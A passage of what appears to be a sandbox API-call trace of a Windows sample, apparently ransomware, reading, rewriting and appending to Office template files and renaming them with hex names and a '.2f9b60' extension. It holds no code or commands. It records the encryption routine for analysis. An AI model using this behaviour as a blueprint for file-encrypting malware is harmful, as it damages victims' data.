Seed=0x391ef670) returned 0x69de2259 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x22759c6c [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x18849602 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x3f93905f [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x46ad739c [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x2bbc3c67 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x27bfa5cb [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x144eb1b5 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x4cd4fe93 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x50f334e5 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x2a7c5d20 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x3cc56d21 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x1a065956 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x5e57eee4 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x4ee6479e [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x33a5c80c [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x3a1e5369 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x29d27b7 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x23d8b24f [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x36050318 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x4e8dd94c [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x8e124d4 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x72ca8c51 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x60eb11a4 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x4e8c4cc [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x2eee5b87 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x5ed947c6 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x61272a2 [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x5d16830f [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x3ae4db1e [0139.264] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x4e8956f [0139.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7a0 [0139.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0139.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0139.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e710) returned 1 [0139.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42133dd0 [0139.273] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.273] ReadFile (in: hFile=0x1cd8, lpBuffer=0x42133dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x391ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x42133dd0*, lpNumberOfBytesRead=0x391ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0139.285] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0139.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e710) returned 1 [0139.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4213b5f0 [0139.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0139.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0139.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0139.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.287] WriteFile (hFile=0x1cd8, lpBuffer=0x4213b5f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x391ef6e0, lpOverlapped=0x0) [0172.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4213b5f0) returned 1 [0172.975] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.975] ReadFile (in: hFile=0x1cd8, lpBuffer=0x42133dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x391ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x42133dd0*, lpNumberOfBytesRead=0x391ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0173.036] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3850 [0173.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3850) returned 1 [0173.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20373560 [0173.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3850 [0173.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3820 [0173.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3820) returned 1 [0173.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0173.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.039] WriteFile (in: hFile=0x1cd8, lpBuffer=0x20373560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x391ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x20373560*, lpNumberOfBytesWritten=0x391ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20373560) returned 1 [0187.180] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x29f52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.180] ReadFile (in: hFile=0x1cd8, lpBuffer=0x42133dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x391ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x42133dd0*, lpNumberOfBytesRead=0x391ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.708] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x29f52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139220 [0190.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139220) returned 1 [0190.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42db7ca0 [0190.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139220 [0190.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139250 [0190.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139250) returned 1 [0190.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.712] WriteFile (in: hFile=0x1cd8, lpBuffer=0x42db7ca0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x391ef6e0, lpOverlapped=0x0 | out: lpBuffer=0x42db7ca0*, lpNumberOfBytesWritten=0x391ef6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42db7ca0) returned 1 [0205.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fbb0 [0205.367] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.367] WriteFile (in: hFile=0x1cd8, lpBuffer=0x431f5fe0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x391ef790, lpOverlapped=0x0 | out: lpBuffer=0x431f5fe0*, lpNumberOfBytesWritten=0x391ef790*=0x152, lpOverlapped=0x0) returned 1 [0208.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0208.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0208.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0208.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0208.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b430 [0208.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b430) returned 1 [0208.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce616f0 [0208.804] sprintf (in: _Dest=0x1ce616f0, _Format="%c%c" | out: _Dest="a4") returned 2 [0208.804] sprintf (in: _Dest=0x1ce616f2, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.804] sprintf (in: _Dest=0x1ce616f4, _Format="%c%c" | out: _Dest="ba") returned 2 [0208.804] sprintf (in: _Dest=0x1ce616f6, _Format="%c%c" | out: _Dest="38") returned 2 [0208.804] sprintf (in: _Dest=0x1ce616f8, _Format="%c%c" | out: _Dest="9f") returned 2 [0208.804] sprintf (in: _Dest=0x1ce616fa, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.804] sprintf (in: _Dest=0x1ce616fc, _Format="%c%c" | out: _Dest="78") returned 2 [0208.804] sprintf (in: _Dest=0x1ce616fe, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61700, _Format="%c%c" | out: _Dest="92") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61702, _Format="%c%c" | out: _Dest="c7") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61704, _Format="%c%c" | out: _Dest="32") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61706, _Format="%c%c" | out: _Dest="e7") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61708, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6170a, _Format="%c%c" | out: _Dest="95") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6170c, _Format="%c%c" | out: _Dest="b3") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6170e, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61710, _Format="%c%c" | out: _Dest="6d") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61712, _Format="%c%c" | out: _Dest="57") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61714, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61716, _Format="%c%c" | out: _Dest="d8") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61718, _Format="%c%c" | out: _Dest="28") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6171a, _Format="%c%c" | out: _Dest="5f") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6171c, _Format="%c%c" | out: _Dest="51") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6171e, _Format="%c%c" | out: _Dest="b5") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61720, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61722, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61724, _Format="%c%c" | out: _Dest="a4") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61726, _Format="%c%c" | out: _Dest="52") returned 2 [0208.805] sprintf (in: _Dest=0x1ce61728, _Format="%c%c" | out: _Dest="70") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6172a, _Format="%c%c" | out: _Dest="9e") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6172c, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.805] sprintf (in: _Dest=0x1ce6172e, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.805] RtlInitAnsiString (in: DestinationString=0x391ef808, SourceString="a4a0ba389fae78f492c732e7a095b36e6d57b9d8285f51b52bc1a452709ed4ae" | out: DestinationString="a4a0ba389fae78f492c732e7a095b36e6d57b9d8285f51b52bc1a452709ed4ae") [0208.805] RtlAnsiStringToUnicodeString (in: DestinationString=0x391ef7d8, SourceString="a4a0ba389fae78f492c732e7a095b36e6d57b9d8285f51b52bc1a452709ed4ae", AllocateDestinationString=1 | out: DestinationString="a4a0ba389fae78f492c732e7a095b36e6d57b9d8285f51b52bc1a452709ed4ae") returned 0x0 [0208.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a1770 [0208.816] wcscat (in: _Dest=0x43183b20, _Source="a4a0ba389fae78f4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a4a0ba389fae78f4") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a4a0ba389fae78f4" [0208.816] wcscat (in: _Dest=0x43183b20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a4a0ba389fae78f4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a4a0ba389fae78f4.2f9b60" [0208.816] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a4a0ba389fae78f4.2f9b60", NtPathName=0x391ef7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\a4a0ba389fae78f4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x431167e0 Thread: id = 2127 os_tid = 0x14b0 [0139.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx")) returned 0x20 [0139.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx", dwFileAttributes=0x20) returned 1 [0139.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cc0 [0139.260] GetFileSizeEx (in: hFile=0x1cc0, lpFileSize=0x392dfa00 | out: lpFileSize=0x392dfa00*=111262) returned 1 [0139.260] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x1b29a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.260] ReadFile (in: hFile=0x1cc0, lpBuffer=0x392df980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x392df9c8, lpOverlapped=0x0 | out: lpBuffer=0x392df980*, lpNumberOfBytesRead=0x392df9c8*=0x4, lpOverlapped=0x0) returned 1 [0139.274] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0139.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0139.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0139.275] NtQuerySystemTime (in: CurrentTime=0x392df8c0 | out: CurrentTime=0x392df8c0*=132462177445102000) returned 0x0 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0xd771661 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x7cddec2 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x3f1d6fa5 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x11f02291 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x4fa5a39a [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x24411c6b [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x7165da85 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x36991638 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x43fe8ba [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x2610f543 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0xe619573 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x2591d668 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x3be43680 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x550f8346 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x1dd26466 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x7d237dab [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x70ec8422 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x5f3f5106 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x4aec0dc6 [0139.275] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x108063b4 [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x19c02366 [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x27573f56 [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x4585cc8b [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x3a5f7cfd [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x506c44d1 [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x293c6fcc [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x469e289b [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x6d0d5c3f [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x124a8d99 [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x338129ac [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x5ed947c6 [0139.276] RtlRandomEx (in: Seed=0x392df8b0 | out: Seed=0x392df8b0) returned 0x8c0f3c1 [0139.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af50 [0139.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0139.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e710) returned 1 [0139.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421379e0 [0139.284] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.284] ReadFile (in: hFile=0x1cc0, lpBuffer=0x421379e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x392df920, lpOverlapped=0x0 | out: lpBuffer=0x421379e0*, lpNumberOfBytesRead=0x392df920*=0x3c00, lpOverlapped=0x0) returned 1 [0139.288] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0139.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0139.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4213f200 [0139.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0139.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.289] WriteFile (in: hFile=0x1cc0, lpBuffer=0x4213f200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x392df920, lpOverlapped=0x0 | out: lpBuffer=0x4213f200*, lpNumberOfBytesWritten=0x392df920*=0x3c00, lpOverlapped=0x0) returned 1 [0139.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4213f200) returned 1 [0139.292] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.292] ReadFile (in: hFile=0x1cc0, lpBuffer=0x421379e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x392df920, lpOverlapped=0x0 | out: lpBuffer=0x421379e0*, lpNumberOfBytesRead=0x392df920*=0x3c00, lpOverlapped=0x0) returned 1 [0139.297] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4213f200 [0139.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0139.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0139.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.299] WriteFile (in: hFile=0x1cc0, lpBuffer=0x4213f200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x392df920, lpOverlapped=0x0 | out: lpBuffer=0x4213f200*, lpNumberOfBytesWritten=0x392df920*=0x3c00, lpOverlapped=0x0) returned 1 [0139.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4213f200) returned 1 [0139.328] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x1769e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.328] ReadFile (in: hFile=0x1cc0, lpBuffer=0x421379e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x392df920, lpOverlapped=0x0 | out: lpBuffer=0x421379e0*, lpNumberOfBytesRead=0x392df920*=0x3c00, lpOverlapped=0x0) returned 1 [0139.347] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x1769e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b4f0 [0139.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b4f0) returned 1 [0139.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4214a920 [0139.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b4f0 [0139.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b580 [0139.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b580) returned 1 [0139.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 